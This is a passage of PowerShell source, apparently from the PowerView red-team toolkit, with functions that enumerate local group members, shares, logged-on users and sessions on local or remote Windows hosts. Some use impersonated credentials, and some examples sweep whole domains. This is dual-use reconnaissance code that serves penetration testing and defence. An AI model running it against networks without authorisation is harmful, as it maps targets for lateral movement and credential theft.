13886 Write-Verbose "[Get-NetLocalGroup] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
13887 }
13888 }
13889 else {
13890 # otherwise we're using the WinNT service provider
13891 $ComputerProvider = [ADSI]"WinNT://$Computer,computer"
13892
13893 $ComputerProvider.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object {
13894 $LocalGroup = ([ADSI]$_)
13895 $Group = New-Object PSObject
13896 $Group | Add-Member Noteproperty 'ComputerName' $Computer
13897 $Group | Add-Member Noteproperty 'GroupName' ($LocalGroup.InvokeGet('Name'))
13898 $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalGroup.InvokeGet('objectsid'),0)).Value)
13899 $Group | Add-Member Noteproperty 'Comment' ($LocalGroup.InvokeGet('Description'))
13900 $Group.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.WinNT')
13901 $Group
13902 }
13903 }
13904 }
13905 }
13906
13907 END {
13908 if ($LogonToken) {
13909 Invoke-RevertToSelf -TokenHandle $LogonToken
13910 }
13911 }
13912}
13913
13914
13915function Get-NetLocalGroupMember {
13916<#
13917.SYNOPSIS
13918
13919Enumerates members of a specific local group on the local (or remote) machine.
13920
13921Author: Will Schroeder (@harmj0y)
13922License: BSD 3-Clause
13923Required Dependencies: PSReflect, Convert-ADName
13924
13925.DESCRIPTION
13926
13927This function will enumerate the members of a specified local group on the
13928current, or remote, machine. By default, the Win32 API call NetLocalGroupGetMembers
13929will be used (for speed). Specifying "-Method WinNT" causes the WinNT service provider
13930to be used instead, which returns a larger amount of information.
13931
13932.PARAMETER ComputerName
13933
13934Specifies the hostname to query for sessions (also accepts IP addresses).
13935Defaults to the localhost.
13936
13937.PARAMETER GroupName
13938
13939The local group name to query for users. If not given, it defaults to "Administrators".
13940
13941.PARAMETER Method
13942
13943The collection method to use, defaults to 'API', also accepts 'WinNT'.
13944
13945.PARAMETER Credential
13946
13947A [Management.Automation.PSCredential] object of alternate credentials
13948for connection to a remote machine. Only applicable with "-Method WinNT".
13949
13950.EXAMPLE
13951
13952Get-NetLocalGroupMember | ft
13953
13954ComputerName GroupName MemberName SID IsGroup IsDomain
13955------------ --------- ---------- --- ------- --------
13956WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False
13957WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False
13958WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True
13959WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True
13960
13961.EXAMPLE
13962
13963Get-NetLocalGroupMember -Method winnt | ft
13964
13965ComputerName GroupName MemberName SID IsGroup IsDomain
13966------------ --------- ---------- --- ------- --------
13967WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False
13968WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False
13969WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True
13970WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True
13971
13972.EXAMPLE
13973
13974Get-NetLocalGroup | Get-NetLocalGroupMember | ft
13975
13976ComputerName GroupName MemberName SID IsGroup IsDomain
13977------------ --------- ---------- --- ------- --------
13978WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False
13979WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False
13980WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True
13981WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True
13982WINDOWS1 Guests WINDOWS1\Guest S-1-5-21-25... False False
13983WINDOWS1 IIS_IUSRS NT AUTHORIT... S-1-5-17 False False
13984WINDOWS1 Users NT AUTHORIT... S-1-5-4 False False
13985WINDOWS1 Users NT AUTHORIT... S-1-5-11 False False
13986WINDOWS1 Users WINDOWS1\lo... S-1-5-21-25... False UNKNOWN
13987WINDOWS1 Users TESTLAB\Dom... S-1-5-21-89... True UNKNOWN
13988
13989.EXAMPLE
13990
13991Get-NetLocalGroupMember -ComputerName primary.testlab.local | ft
13992
13993ComputerName GroupName MemberName SID IsGroup IsDomain
13994------------ --------- ---------- --- ------- --------
13995primary.tes... Administrators TESTLAB\Adm... S-1-5-21-89... False False
13996primary.tes... Administrators TESTLAB\loc... S-1-5-21-89... False False
13997primary.tes... Administrators TESTLAB\Ent... S-1-5-21-89... True False
13998primary.tes... Administrators TESTLAB\Dom... S-1-5-21-89... True False
13999
14000.OUTPUTS
14001
14002PowerView.LocalGroupMember.API
14003
14004Custom PSObject with translated group property fields from API results.
14005
14006PowerView.LocalGroupMember.WinNT
14007
14008Custom PSObject with translated group property fields from WinNT results.
14009
14010.LINK
14011
14012http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together
14013http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx
14014https://msdn.microsoft.com/en-us/library/windows/desktop/aa370601(v=vs.85).aspx
14015#>
14016
14017 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
14018 [OutputType('PowerView.LocalGroupMember.API')]
14019 [OutputType('PowerView.LocalGroupMember.WinNT')]
14020 Param(
14021 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
14022 [Alias('HostName', 'dnshostname', 'name')]
14023 [ValidateNotNullOrEmpty()]
14024 [String[]]
14025 $ComputerName = $Env:COMPUTERNAME,
14026
14027 [Parameter(ValueFromPipelineByPropertyName = $True)]
14028 [ValidateNotNullOrEmpty()]
14029 [String]
14030 $GroupName = 'Administrators',
14031
14032 [ValidateSet('API', 'WinNT')]
14033 [Alias('CollectionMethod')]
14034 [String]
14035 $Method = 'API',
14036
14037 [Management.Automation.PSCredential]
14038 [Management.Automation.CredentialAttribute()]
14039 $Credential = [Management.Automation.PSCredential]::Empty
14040 )
14041
14042 BEGIN {
14043 if ($PSBoundParameters['Credential']) {
14044 $LogonToken = Invoke-UserImpersonation -Credential $Credential
14045 }
14046 }
14047
14048 PROCESS {
14049 ForEach ($Computer in $ComputerName) {
14050 if ($Method -eq 'API') {
14051 # if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information
14052
14053 # arguments for NetLocalGroupGetMembers
14054 $QueryLevel = 2
14055 $PtrInfo = [IntPtr]::Zero
14056 $EntriesRead = 0
14057 $TotalRead = 0
14058 $ResumeHandle = 0
14059
14060 # get the local user information
14061 $Result = $Netapi32::NetLocalGroupGetMembers($Computer, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
14062
14063 # locate the offset of the initial intPtr
14064 $Offset = $PtrInfo.ToInt64()
14065
14066 $Members = @()
14067
14068 # 0 = success
14069 if (($Result -eq 0) -and ($Offset -gt 0)) {
14070
14071 # Work out how much to increment the pointer by finding out the size of the structure
14072 $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize()
14073
14074 # parse all the result structures
14075 for ($i = 0; ($i -lt $EntriesRead); $i++) {
14076 # create a new int ptr at the given offset and cast the pointer as our result structure
14077 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
14078 $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2
14079
14080 $Offset = $NewIntPtr.ToInt64()
14081 $Offset += $Increment
14082
14083 $SidString = ''
14084 $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
14085
14086 if ($Result2 -eq 0) {
14087 Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
14088 }
14089 else {
14090 $Member = New-Object PSObject
14091 $Member | Add-Member Noteproperty 'ComputerName' $Computer
14092 $Member | Add-Member Noteproperty 'GroupName' $GroupName
14093 $Member | Add-Member Noteproperty 'MemberName' $Info.lgrmi2_domainandname
14094 $Member | Add-Member Noteproperty 'SID' $SidString
14095 $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup')
14096 $Member | Add-Member Noteproperty 'IsGroup' $IsGroup
14097 $Member.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroupMember.API')
14098 $Members += $Member
14099 }
14100 }
14101
14102 # free up the result buffer
14103 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
14104
14105 # try to extract out the machine SID by using the -500 account as a reference
14106 $MachineSid = $Members | Where-Object {$_.SID -match '.*-500' -or ($_.SID -match '.*-501')} | Select-Object -Expand SID
14107 if ($MachineSid) {
14108 $MachineSid = $MachineSid.Substring(0, $MachineSid.LastIndexOf('-'))
14109
14110 $Members | ForEach-Object {
14111 if ($_.SID -match $MachineSid) {
14112 $_ | Add-Member Noteproperty 'IsDomain' $False
14113 }
14114 else {
14115 $_ | Add-Member Noteproperty 'IsDomain' $True
14116 }
14117 }
14118 }
14119 else {
14120 $Members | ForEach-Object {
14121 if ($_.SID -notmatch 'S-1-5-21') {
14122 $_ | Add-Member Noteproperty 'IsDomain' $False
14123 }
14124 else {
14125 $_ | Add-Member Noteproperty 'IsDomain' 'UNKNOWN'
14126 }
14127 }
14128 }
14129 $Members
14130 }
14131 else {
14132 Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
14133 }
14134 }
14135 else {
14136 # otherwise we're using the WinNT service provider
14137 try {
14138 $GroupProvider = [ADSI]"WinNT://$Computer/$GroupName,group"
14139
14140 $GroupProvider.psbase.Invoke('Members') | ForEach-Object {
14141
14142 $Member = New-Object PSObject
14143 $Member | Add-Member Noteproperty 'ComputerName' $Computer
14144 $Member | Add-Member Noteproperty 'GroupName' $GroupName
14145
14146 $LocalUser = ([ADSI]$_)
14147 $AdsPath = $LocalUser.InvokeGet('AdsPath').Replace('WinNT://', '')
14148 $IsGroup = ($LocalUser.SchemaClassName -like 'group')
14149
14150 if(([regex]::Matches($AdsPath, '/')).count -eq 1) {
14151 # DOMAIN\user
14152 $MemberIsDomain = $True
14153 $Name = $AdsPath.Replace('/', '\')
14154 }
14155 else {
14156 # DOMAIN\machine\user
14157 $MemberIsDomain = $False
14158 $Name = $AdsPath.Substring($AdsPath.IndexOf('/')+1).Replace('/', '\')
14159 }
14160
14161 $Member | Add-Member Noteproperty 'AccountName' $Name
14162 $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value)
14163 $Member | Add-Member Noteproperty 'IsGroup' $IsGroup
14164 $Member | Add-Member Noteproperty 'IsDomain' $MemberIsDomain
14165
14166 # if ($MemberIsDomain) {
14167 # # translate the binary sid to a string
14168 # $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value)
14169 # $Member | Add-Member Noteproperty 'Description' ''
14170 # $Member | Add-Member Noteproperty 'Disabled' ''
14171
14172 # if ($IsGroup) {
14173 # $Member | Add-Member Noteproperty 'LastLogin' ''
14174 # }
14175 # else {
14176 # try {
14177 # $Member | Add-Member Noteproperty 'LastLogin' $LocalUser.InvokeGet('LastLogin')
14178 # }
14179 # catch {
14180 # $Member | Add-Member Noteproperty 'LastLogin' ''
14181 # }
14182 # }
14183 # $Member | Add-Member Noteproperty 'PwdLastSet' ''
14184 # $Member | Add-Member Noteproperty 'PwdExpired' ''
14185 # $Member | Add-Member Noteproperty 'UserFlags' ''
14186 # }
14187 # else {
14188 # # translate the binary sid to a string
14189 # $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value)
14190 # $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description)
14191
14192 # if ($IsGroup) {
14193 # $Member | Add-Member Noteproperty 'PwdLastSet' ''
14194 # $Member | Add-Member Noteproperty 'PwdExpired' ''
14195 # $Member | Add-Member Noteproperty 'UserFlags' ''
14196 # $Member | Add-Member Noteproperty 'Disabled' ''
14197 # $Member | Add-Member Noteproperty 'LastLogin' ''
14198 # }
14199 # else {
14200 # $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0]))
14201 # $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1')
14202 # $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] )
14203 # # UAC flags of 0x2 mean the account is disabled
14204 # $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.UserFlags.value -band 2) -eq 2)
14205 # try {
14206 # $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0])
14207 # }
14208 # catch {
14209 # $Member | Add-Member Noteproperty 'LastLogin' ''
14210 # }
14211 # }
14212 # }
14213
14214 $Member
14215 }
14216 }
14217 catch {
14218 Write-Verbose "[Get-NetLocalGroupMember] Error for $Computer : $_"
14219 }
14220 }
14221 }
14222 }
14223
14224 END {
14225 if ($LogonToken) {
14226 Invoke-RevertToSelf -TokenHandle $LogonToken
14227 }
14228 }
14229}
14230
14231
14232function Get-NetShare {
14233<#
14234.SYNOPSIS
14235
14236Returns open shares on the local (or a remote) machine.
14237
14238Author: Will Schroeder (@harmj0y)
14239License: BSD 3-Clause
14240Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
14241
14242.DESCRIPTION
14243
14244This function will execute the NetShareEnum Win32API call to query
14245a given host for open shares. This is a replacement for "net share \\hostname".
14246
14247.PARAMETER ComputerName
14248
14249Specifies the hostname to query for shares (also accepts IP addresses).
14250Defaults to 'localhost'.
14251
14252.PARAMETER Credential
14253
14254A [Management.Automation.PSCredential] object of alternate credentials
14255for connection to the remote system using Invoke-UserImpersonation.
14256
14257.EXAMPLE
14258
14259Get-NetShare
14260
14261Returns active shares on the local host.
14262
14263.EXAMPLE
14264
14265Get-NetShare -ComputerName sqlserver
14266
14267Returns active shares on the 'sqlserver' host
14268
14269.EXAMPLE
14270
14271Get-DomainComputer | Get-NetShare
14272
14273Returns all shares for all computers in the domain.
14274
14275.EXAMPLE
14276
14277$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
14278$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
14279Get-NetShare -ComputerName sqlserver -Credential $Cred
14280
14281.OUTPUTS
14282
14283PowerView.ShareInfo
14284
14285A PSCustomObject representing a SHARE_INFO_1 structure, including
14286the name/type/remark for each share, with the ComputerName added.
14287
14288.LINK
14289
14290http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
14291#>
14292
14293 [OutputType('PowerView.ShareInfo')]
14294 [CmdletBinding()]
14295 Param(
14296 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
14297 [Alias('HostName', 'dnshostname', 'name')]
14298 [ValidateNotNullOrEmpty()]
14299 [String[]]
14300 $ComputerName = 'localhost',
14301
14302 [Management.Automation.PSCredential]
14303 [Management.Automation.CredentialAttribute()]
14304 $Credential = [Management.Automation.PSCredential]::Empty
14305 )
14306
14307 BEGIN {
14308 if ($PSBoundParameters['Credential']) {
14309 $LogonToken = Invoke-UserImpersonation -Credential $Credential
14310 }
14311 }
14312
14313 PROCESS {
14314 ForEach ($Computer in $ComputerName) {
14315 # arguments for NetShareEnum
14316 $QueryLevel = 1
14317 $PtrInfo = [IntPtr]::Zero
14318 $EntriesRead = 0
14319 $TotalRead = 0
14320 $ResumeHandle = 0
14321
14322 # get the raw share information
14323 $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
14324
14325 # locate the offset of the initial intPtr
14326 $Offset = $PtrInfo.ToInt64()
14327
14328 # 0 = success
14329 if (($Result -eq 0) -and ($Offset -gt 0)) {
14330
14331 # work out how much to increment the pointer by finding out the size of the structure
14332 $Increment = $SHARE_INFO_1::GetSize()
14333
14334 # parse all the result structures
14335 for ($i = 0; ($i -lt $EntriesRead); $i++) {
14336 # create a new int ptr at the given offset and cast the pointer as our result structure
14337 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
14338 $Info = $NewIntPtr -as $SHARE_INFO_1
14339
14340 # return all the sections of the structure - have to do it this way for V2
14341 $Share = $Info | Select-Object *
14342 $Share | Add-Member Noteproperty 'ComputerName' $Computer
14343 $Share.PSObject.TypeNames.Insert(0, 'PowerView.ShareInfo')
14344 $Offset = $NewIntPtr.ToInt64()
14345 $Offset += $Increment
14346 $Share
14347 }
14348
14349 # free up the result buffer
14350 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
14351 }
14352 else {
14353 Write-Verbose "[Get-NetShare] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
14354 }
14355 }
14356 }
14357
14358 END {
14359 if ($LogonToken) {
14360 Invoke-RevertToSelf -TokenHandle $LogonToken
14361 }
14362 }
14363}
14364
14365
14366function Get-NetLoggedon {
14367<#
14368.SYNOPSIS
14369
14370Returns users logged on the local (or a remote) machine.
14371Note: administrative rights needed for newer Windows OSes.
14372
14373Author: Will Schroeder (@harmj0y)
14374License: BSD 3-Clause
14375Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
14376
14377.DESCRIPTION
14378
14379This function will execute the NetWkstaUserEnum Win32API call to query
14380a given host for actively logged on users.
14381
14382.PARAMETER ComputerName
14383
14384Specifies the hostname to query for logged on users (also accepts IP addresses).
14385Defaults to 'localhost'.
14386
14387.PARAMETER Credential
14388
14389A [Management.Automation.PSCredential] object of alternate credentials
14390for connection to the remote system using Invoke-UserImpersonation.
14391
14392.EXAMPLE
14393
14394Get-NetLoggedon
14395
14396Returns users actively logged onto the local host.
14397
14398.EXAMPLE
14399
14400Get-NetLoggedon -ComputerName sqlserver
14401
14402Returns users actively logged onto the 'sqlserver' host.
14403
14404.EXAMPLE
14405
14406Get-DomainComputer | Get-NetLoggedon
14407
14408Returns all logged on users for all computers in the domain.
14409
14410.EXAMPLE
14411
14412$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
14413$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
14414Get-NetLoggedon -ComputerName sqlserver -Credential $Cred
14415
14416.OUTPUTS
14417
14418PowerView.LoggedOnUserInfo
14419
14420A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including
14421the UserName/LogonDomain/AuthDomains/LogonServer for each user, with the ComputerName added.
14422
14423.LINK
14424
14425http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
14426#>
14427
14428 [OutputType('PowerView.LoggedOnUserInfo')]
14429 [CmdletBinding()]
14430 Param(
14431 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
14432 [Alias('HostName', 'dnshostname', 'name')]
14433 [ValidateNotNullOrEmpty()]
14434 [String[]]
14435 $ComputerName = 'localhost',
14436
14437 [Management.Automation.PSCredential]
14438 [Management.Automation.CredentialAttribute()]
14439 $Credential = [Management.Automation.PSCredential]::Empty
14440 )
14441
14442 BEGIN {
14443 if ($PSBoundParameters['Credential']) {
14444 $LogonToken = Invoke-UserImpersonation -Credential $Credential
14445 }
14446 }
14447
14448 PROCESS {
14449 ForEach ($Computer in $ComputerName) {
14450 # declare the reference variables
14451 $QueryLevel = 1
14452 $PtrInfo = [IntPtr]::Zero
14453 $EntriesRead = 0
14454 $TotalRead = 0
14455 $ResumeHandle = 0
14456
14457 # get logged on user information
14458 $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
14459
14460 # locate the offset of the initial intPtr
14461 $Offset = $PtrInfo.ToInt64()
14462
14463 # 0 = success
14464 if (($Result -eq 0) -and ($Offset -gt 0)) {
14465
14466 # work out how much to increment the pointer by finding out the size of the structure
14467 $Increment = $WKSTA_USER_INFO_1::GetSize()
14468
14469 # parse all the result structures
14470 for ($i = 0; ($i -lt $EntriesRead); $i++) {
14471 # create a new int ptr at the given offset and cast the pointer as our result structure
14472 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
14473 $Info = $NewIntPtr -as $WKSTA_USER_INFO_1
14474
14475 # return all the sections of the structure - have to do it this way for V2
14476 $LoggedOn = $Info | Select-Object *
14477 $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
14478 $LoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LoggedOnUserInfo')
14479 $Offset = $NewIntPtr.ToInt64()
14480 $Offset += $Increment
14481 $LoggedOn
14482 }
14483
14484 # free up the result buffer
14485 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
14486 }
14487 else {
14488 Write-Verbose "[Get-NetLoggedon] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
14489 }
14490 }
14491 }
14492
14493 END {
14494 if ($LogonToken) {
14495 Invoke-RevertToSelf -TokenHandle $LogonToken
14496 }
14497 }
14498}
14499
14500
14501function Get-NetSession {
14502<#
14503.SYNOPSIS
14504
14505Returns session information for the local (or a remote) machine.
14506
14507Author: Will Schroeder (@harmj0y)
14508License: BSD 3-Clause
14509Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
14510
14511.DESCRIPTION
14512
14513This function will execute the NetSessionEnum Win32API call to query
14514a given host for active sessions.
14515
14516.PARAMETER ComputerName
14517
14518Specifies the hostname to query for sessions (also accepts IP addresses).
14519Defaults to 'localhost'.
14520
14521.PARAMETER Credential
14522
14523A [Management.Automation.PSCredential] object of alternate credentials
14524for connection to the remote system using Invoke-UserImpersonation.
14525
14526.EXAMPLE
14527
14528Get-NetSession
14529
14530Returns active sessions on the local host.
14531
14532.EXAMPLE
14533
14534Get-NetSession -ComputerName sqlserver
14535
14536Returns active sessions on the 'sqlserver' host.
14537
14538.EXAMPLE
14539
14540Get-DomainController | Get-NetSession
14541
14542Returns active sessions on all domain controllers.
14543
14544.EXAMPLE
14545
14546$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
14547$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
14548Get-NetSession -ComputerName sqlserver -Credential $Cred
14549
14550.OUTPUTS
14551
14552PowerView.SessionInfo
14553
14554A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including
14555the CName/UserName/Time/IdleTime for each session, with the ComputerName added.
14556
14557.LINK
14558
14559http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
14560#>
14561
14562 [OutputType('PowerView.SessionInfo')]
14563 [CmdletBinding()]
14564 Param(
14565 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
14566 [Alias('HostName', 'dnshostname', 'name')]
14567 [ValidateNotNullOrEmpty()]
14568 [String[]]
14569 $ComputerName = 'localhost',
14570
14571 [Management.Automation.PSCredential]
14572 [Management.Automation.CredentialAttribute()]
14573 $Credential = [Management.Automation.PSCredential]::Empty
14574 )
14575
14576 BEGIN {
14577 if ($PSBoundParameters['Credential']) {
14578 $LogonToken = Invoke-UserImpersonation -Credential $Credential
14579 }
14580 }
14581
14582 PROCESS {
14583 ForEach ($Computer in $ComputerName) {
14584 # arguments for NetSessionEnum
14585 $QueryLevel = 10
14586 $PtrInfo = [IntPtr]::Zero
14587 $EntriesRead = 0
14588 $TotalRead = 0
14589 $ResumeHandle = 0
14590
14591 # get session information
14592 $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
14593
14594 # locate the offset of the initial intPtr
14595 $Offset = $PtrInfo.ToInt64()
14596
14597 # 0 = success
14598 if (($Result -eq 0) -and ($Offset -gt 0)) {
14599
14600 # work out how much to increment the pointer by finding out the size of the structure
14601 $Increment = $SESSION_INFO_10::GetSize()
14602
14603 # parse all the result structures
14604 for ($i = 0; ($i -lt $EntriesRead); $i++) {
14605 # create a new int ptr at the given offset and cast the pointer as our result structure
14606 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
14607 $Info = $NewIntPtr -as $SESSION_INFO_10
14608
14609 # return all the sections of the structure - have to do it this way for V2
14610 $Session = $Info | Select-Object *
14611 $Session | Add-Member Noteproperty 'ComputerName' $Computer
14612 $Session.PSObject.TypeNames.Insert(0, 'PowerView.SessionInfo')
14613 $Offset = $NewIntPtr.ToInt64()
14614 $Offset += $Increment
14615 $Session
14616 }
14617
14618 # free up the result buffer
14619 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
14620 }
14621 else {
14622 Write-Verbose "[Get-NetSession] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
14623 }
14624 }
14625 }
14626
14627
14628 END {
14629 if ($LogonToken) {
14630 Invoke-RevertToSelf -TokenHandle $LogonToken
14631 }
14632 }
14633}
14634
14635
14636function Get-RegLoggedOn {
14637<#
14638.SYNOPSIS
14639
14640Returns who is logged onto the local (or a remote) machine
14641through enumeration of remote registry keys.
14642
14643Note: This function requires only domain user rights on the
14644machine you're enumerating, but remote registry must be enabled.
14645
14646Author: Matt Kelly (@BreakersAll)
14647License: BSD 3-Clause
14648Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, ConvertFrom-SID
14649
14650.DESCRIPTION
14651
14652This function will query the HKU registry values to retrieve the local
14653logged on users SID and then attempt and reverse it.
14654Adapted technique from Sysinternal's PSLoggedOn script. Benefit over
14655using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges
14656required (NetWkstaUserEnum requires remote admin access).
14657
14658.PARAMETER ComputerName
14659
14660Specifies the hostname to query for remote registry values (also accepts IP addresses).
14661Defaults to 'localhost'.
14662
14663.PARAMETER Credential
14664
14665A [Management.Automation.PSCredential] object of alternate credentials
14666for connection to the remote system using Invoke-UserImpersonation.
14667
14668.EXAMPLE
14669
14670Get-RegLoggedOn
14671
14672Returns users actively logged onto the local host.
14673
14674.EXAMPLE
14675
14676Get-RegLoggedOn -ComputerName sqlserver
14677
14678Returns users actively logged onto the 'sqlserver' host.
14679
14680.EXAMPLE
14681
14682Get-DomainController | Get-RegLoggedOn
14683
14684Returns users actively logged on all domain controllers.
14685
14686.EXAMPLE
14687
14688$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
14689$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
14690Get-RegLoggedOn -ComputerName sqlserver -Credential $Cred
14691
14692.OUTPUTS
14693
14694PowerView.RegLoggedOnUser
14695
14696A PSCustomObject including the UserDomain/UserName/UserSID of each
14697actively logged on user, with the ComputerName added.
14698#>
14699
14700 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
14701 [OutputType('PowerView.RegLoggedOnUser')]
14702 [CmdletBinding()]
14703 Param(
14704 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
14705 [Alias('HostName', 'dnshostname', 'name')]
14706 [ValidateNotNullOrEmpty()]
14707 [String[]]
14708 $ComputerName = 'localhost'
14709 )
14710
14711 BEGIN {
14712 if ($PSBoundParameters['Credential']) {
14713 $LogonToken = Invoke-UserImpersonation -Credential $Credential
14714 }
14715 }
14716
14717 PROCESS {
14718 ForEach ($Computer in $ComputerName) {
14719 try {
14720 # retrieve HKU remote registry values
14721 $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName")
14722
14723 # sort out bogus sid's like _class
14724 $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object {
14725 $UserName = ConvertFrom-SID -ObjectSID $_ -OutputType 'DomainSimple'
14726
14727 if ($UserName) {
14728 $UserName, $UserDomain = $UserName.Split('@')
14729 }
14730 else {
14731 $UserName = $_
14732 $UserDomain = $Null
14733 }
14734
14735 $RegLoggedOnUser = New-Object PSObject
14736 $RegLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName"
14737 $RegLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain
14738 $RegLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName
14739 $RegLoggedOnUser | Add-Member Noteproperty 'UserSID' $_
14740 $RegLoggedOnUser.PSObject.TypeNames.Insert(0, 'PowerView.RegLoggedOnUser')
14741 $RegLoggedOnUser
14742 }
14743 }
14744 catch {
14745 Write-Verbose "[Get-RegLoggedOn] Error opening remote registry on '$ComputerName' : $_"
14746 }
14747 }
14748 }
14749
14750 END {
14751 if ($LogonToken) {
14752 Invoke-RevertToSelf -TokenHandle $LogonToken
14753 }
14754 }
14755}
14756
14757
14758function Get-NetRDPSession {
14759<#
14760.SYNOPSIS
14761
14762Returns remote desktop/session information for the local (or a remote) machine.
14763
14764Note: only members of the Administrators or Account Operators local group
14765can successfully execute this functionality on a remote target.
14766
14767Author: Will Schroeder (@harmj0y)
14768License: BSD 3-Clause
14769Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
14770
14771.DESCRIPTION
14772
14773This function will execute the WTSEnumerateSessionsEx and WTSQuerySessionInformation
14774Win32API calls to query a given RDP remote service for active sessions and originating
14775IPs. This is a replacement for qwinsta.
14776
14777.PARAMETER ComputerName
14778
14779Specifies the hostname to query for active sessions (also accepts IP addresses).
14780Defaults to 'localhost'.
14781
14782.PARAMETER Credential
14783
14784A [Management.Automation.PSCredential] object of alternate credentials
14785for connection to the remote system using Invoke-UserImpersonation.
14786
14787.EXAMPLE
